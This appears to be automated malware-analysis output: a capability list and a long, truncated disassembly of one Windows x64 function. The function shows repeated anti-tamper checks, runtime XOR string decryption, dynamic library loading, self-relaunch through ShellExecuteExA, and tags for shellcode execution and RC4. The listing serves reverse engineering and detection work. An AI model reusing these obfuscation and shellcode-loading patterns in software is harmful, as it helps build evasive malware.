Function at 0x140016e80
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.140085c60
sub rsp, rax
mov rax, qword [0x1400e9700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[7]
mov r13d, 0x29a87bfd
mov r12d, 0x6b0da058
cmp rax, r12
jne 0x140016f73
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140016f53
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140016f53
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140016f73
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov ecx, r12d
call fcn.140011744
mov rax, qword gs:[7]
movabs rsi, 0xf6959430e7eecbd0
cmp rax, r12
jne 0x14001702f
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001700f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001700f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001702f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
mov ebx, 0x3e65b665
mov r14d, 0x2052728a
cmp rax, r12
jne 0x1400170f2
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, r14d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400170d2
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400170d2
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400170f2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov ecx, r12d
call fcn.140016428
mov rax, qword gs:[7]
cmp rax, r12
jne 0x1400171a4
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017184
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017184
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400171a4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x14001724e
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001722e
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001722e
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001724e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
lea rdx, [0x1400df140]
lea rcx, [rbp + 0x998]
call fcn.140011108
mov rdx, rax
mov ecx, r12d
call fcn.140014f30
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140017316
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400172f6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400172f6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017316
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x1400173c0
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400173a0
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400173a0
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400173c0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov dword [rbp + 0x90], 0x9b7fb053
mov dword [rbp + 0x94], 0x124316b3
mov word [rbp + 0x98], 0xee
xor r15d, r15d
mov edi, r15d
movabs rsi, 0x134d3699f
mov qword [rsp + 0x20], rsi
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.140026750
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x1400173ed
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[7]
cmp rax, r12
movabs rsi, 0xf6959430e7eecbd0
jne 0x1400174e9
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400174c9
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400174c9
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400174e9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x1400175a2
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017582
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017582
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400175a2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov dword [rbp + 0x1f0], 0x778ce21c
mov dword [rbp + 0x1f4], 0x3f36656d
mov dword [rbp + 0x1f8], 0x7592eca8
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
movabs r13, 0x134d3699f
mov qword [rsp + 0x20], r13
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.1400263ac
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x1400175d5
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[7]
cmp rax, r12
mov r13d, 0x29a87bfd
jne 0x1400176cd
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400176ad
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400176ad
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400176cd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140016644
test eax, eax
jne 0x140017979
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400af4c0
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400177ea
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400af4c0
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0xda3565b7
mov word [rbp - 0x6c], Ordinal_200
movabs rsi, 0x134d3699f
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.1400266dc
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x14001775a
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140026033
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1400177f4
movabs rsi, 0x134d3699f
mov word [rsp + 0x78], 0xa4
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xa4
lea rcx, [rsp + 0x78]
call fcn.140026584
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.1400164c4
mov rbx, rax
movdqa xmm0, xmmword [0x1400df6a0]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400df5d0]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xd150eebc
mov dword [rbp + 0xc1c], 0xb9af9d8
mov dword [rbp + 0xc20], 0x72662eaa
mov word [rbp + 0xc24], 0x54
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.140026668
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x140017879
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.1400276fc
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.1400278bc
lea rcx, [rbp + 0x9d8]
call fcn.140027214
lea rcx, [rbp + 0x9b8]
call fcn.140027214
movdqa xmm0, xmmword [0x1400df4d0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0xbd
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.140026164
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x140017912
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.140026e68
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140017a32
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017a12
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017a12
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017a32
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140017ae2
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017ac2
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017ac2
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017ae2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140017b9b
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017b7b
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017b7b
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017b9b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140017c45
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017c25
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017c25
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017c45
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140017cef
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017ccf
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017ccf
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017cef
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
xor ecx, ecx
call fcn.14008d734
mov rbx, rax
or rcx, 0xffffffffffffffff
mov byte [rsp + 0x7c], cl
xor eax, eax
mov byte [rsp + 0x7d], al
movabs r13, 0x134d3699f
mov qword [rsp + 0x20], r13
lea r9d, [rcx + 2]
xor r8d, r8d
mov dl, cl
lea rcx, [rsp + 0x7c]
call fcn.140026584
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0xcd15aea8
mov word [rbp - 0x5c], 0xd4eb
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140026424
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x140017d47
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.140090c14
mov rax, qword gs:[7]
cmp rax, r12
mov r13d, 0x29a87bfd
jne 0x140017e4f
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017e2f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017e2f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017e4f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140017ef9
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140017ed9
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140017ed9
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140017ef9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov ecx, 2
call fcn.14008d734
mov rbx, rax
mov word [rbp - 0x80], 0xfa
movabs r13, 0x134d3699f
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0xfa
lea rcx, [rbp - 0x80]
call fcn.140026584
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0xda21b15e
mov dword [rbp - 0x34], 0xe49fa2
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.1400265f4
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x140017f47
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.140090c14
mov rax, qword gs:[7]
cmp rax, r12
mov r13d, 0x29a87bfd
jne 0x14001804e
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001802e
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001802e
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001804e
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x1400180f8
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400180d8
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400180d8
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400180f8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov ecx, 1
call fcn.14008d734
mov rbx, rax
mov word [rbp - 0x7c], 0xfa
movabs rsi, 0x134d3699f
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xfa
lea rcx, [rbp - 0x7c]
call fcn.140026584
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0xda21b15e
mov dword [rbp - 0x2c], 0xe49fa2
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.1400265f4
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x140018146
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.140090c14
mov rax, qword gs:[7]
cmp rax, r12
movabs rsi, 0xf6959430e7eecbd0
jne 0x140018240
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018220
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018220
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018240
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x1400182ea
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400182ca
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400182ca
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400182ea
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
movdqa xmm0, xmmword [0x1400df560]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400df5c0]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400df7b0]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0xe8ba5e15
mov dword [rbp + 0xd4c], 0x75baa5c8
mov dword [rbp + 0xd50], 0xbc24fbdf
mov word [rbp + 0xd54], 0xed7
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
movabs r13, 0x134d3699f
mov qword [rsp + 0x20], r13
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.140026510
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x140018356
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.140010fac
mov rax, qword gs:[7]
cmp rax, r12
mov r13d, 0x29a87bfd
mov ebx, 0x3e65b665
jne 0x140018460
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018440
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018440
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018460
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x14001850a
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400184ea
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400184ea
mov rcx, qword gs:[0x38]
